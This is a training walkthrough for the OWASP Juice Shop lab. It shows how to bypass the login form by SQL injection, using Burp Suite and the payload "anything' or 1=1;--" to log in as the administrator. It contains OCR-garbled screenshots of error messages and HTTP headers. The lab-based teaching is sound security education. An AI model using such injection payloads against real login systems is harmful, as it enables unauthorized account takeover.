Login Bypass by SQL Injection

Again the title gives away more than you'd get in a real test, but ... not by a lot, actually. You
should always test for this one.
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How might you trigger an error at the SQL layer from the login form?
What might that error look like in the response?

Walk-Thru

Make sure you have Firefox set to use your Burp Suite as a proxy, and that the Proxy >
Intercept pane says "Intercept is off"

1. On the login page, type something in the "Email" field that has an apostrophe (also called a
"single quote") in it. Type any password and click "Log in"

2. Notice the response includes [object Object] in red above the form. This is one way
Javascript reports an unhandled error condition.
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[object Object] is Javascript for, "wait, what did you mean now?"



3. Look at the HTTP request and response in Burp Suite's Proxy History. Notice a very detailed
error message. This has gotten pretty rare in real applications, but it helps to show you clearly

what's actually happening for this lab. For a harder challenge, ignore these details and only go
with what you see in the browser.
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14 "message": fSOLITE_ERROR: near \"b7cB65d7c14d03aabl0dS080817081bbY" : syntax error"J
15 "stack":

"SequelizeDatabaseError: SQLITE ERROR: near %"b7cB85d7cl4d03aablOdS0S0817081bEY": syntax errorin at Query.formatError (
/juice-shop/node_modulesssequelize/lib/dialects/sqlite/query. js:422:16)\n at Query._handleqQueryResponse (/juice-shop/no
de_modulesssequelize/lib/dialects/sqlite/query. js:73:18)\n at afterExecute (/julce-shop/node_modules/sequelize/lib/dial
ects/sqlite/query.js:250:31)\n at replacement (/juice-shop/node_modules/sglite3/lib/trace.s:19:31)\n at Statement.e
rrBack (/juice-shop/node_modules/sqlite3/libssqlite3. js:14:21)", M

18 "name": "SequelizeDatabaseError",
17 "parent": {
18 "errno": 1,
19 "code": "SOLITE ERROR",
20 e
"SELECT * FROM Users WHERE email = 'anything'' AND password = 'b7c865d7c14d03aabl0odS060817081b0" AND deletedAt IS MULL"
21 =
22 "original": { =
23 "errno": 1,
24 "code": "SOLITE ERROR",
25 "sql":

"SELECT * FROM Users WHERE emall = 'anything'' AND password = 'b7c865d7cl4d03aabl0odS0S0817081bb" AND deletedat IS MULL"
26 +
27 "sql":
"SELECT * FROM Users WHERE email = 'anything'' AND password = 'b7cB65d7cl4d03aabl0d5050817081bh" AND deletedAt IS NULL"
+

29}
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Verbose Error Message Provides Useful Information

Here's that broken query as text and line breaks added for readability:
"SELECT *

FROM Users

WHERE email = 'anything''

AND  password = 'b7c865d7c14d03aab10d5060817081bb"

AND deletedAt IS NULL"

The error is because...

A. The query on the server uses single quotes to surround strings

B. Our input for the email address included a single quote

C. The server simply passed our string (including the quote) to the SQL interpreter.

...SO...

D. The syntax of the query is broken, and it fails to execute, returning the "syntax error" you see
in the response in Burp's Proxy History.

4. Your goal is to make the query run successfully and return at least one result. Because it's all
on one line in the actual program (as the error message so kindly informs you) you can use the
SQL comment characters to make the database ignore anything after your input.



5. Send the request from the proxy history to Burp Repeater (right-click on it and choose "Send
to Repeater" from the menu, or just tap Ctrl-R).

6. Send the request again to make sure it still works. You should get the same error as before.
7. Change the value of the "email" parameter so that whole line looks something like this:
"email":"anything' or 1=1;--",

then click "Send" in Repeater

8. Notice the response shows you now logged in as the administrator user!

Accept-Language: en-US, en;q=0¥
Accept-Encoding: gzip. defléte
Content-Type: application
Content-Length: 49

Feature-Policy: payment 'self'
Content-Type: application/json: chafset=utf-g
Cantent-Length: 824
ETag: W/"338- 7USSdnDXXWNIpSIz ORSUGSRETOHK "
2 Origin: http://localhosj: 3000 2 Vary: Accept-Encoding

10 Connection: close 0 Date: Fri, 19 Jun 2020 19:04:55 G
11 Referer: http://localhpst:3000/ 11 Connection: close
12 Cookie: language=en; welcomebanner status=d 12
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Successful Login as Admin via SQL Injection

9. Return to the browser page and get some recognition for your achievement.

1> C¢ @ o

() =0 localhost:3000/#/login

@ OWASP Juice Shop

You successfully solved a challenge: Login Admin (Log in with the administrator's user account.)




For Further Practice

Check out the 'q' parameter in the Product Search request..
http://localhost:3000/#/search?q=



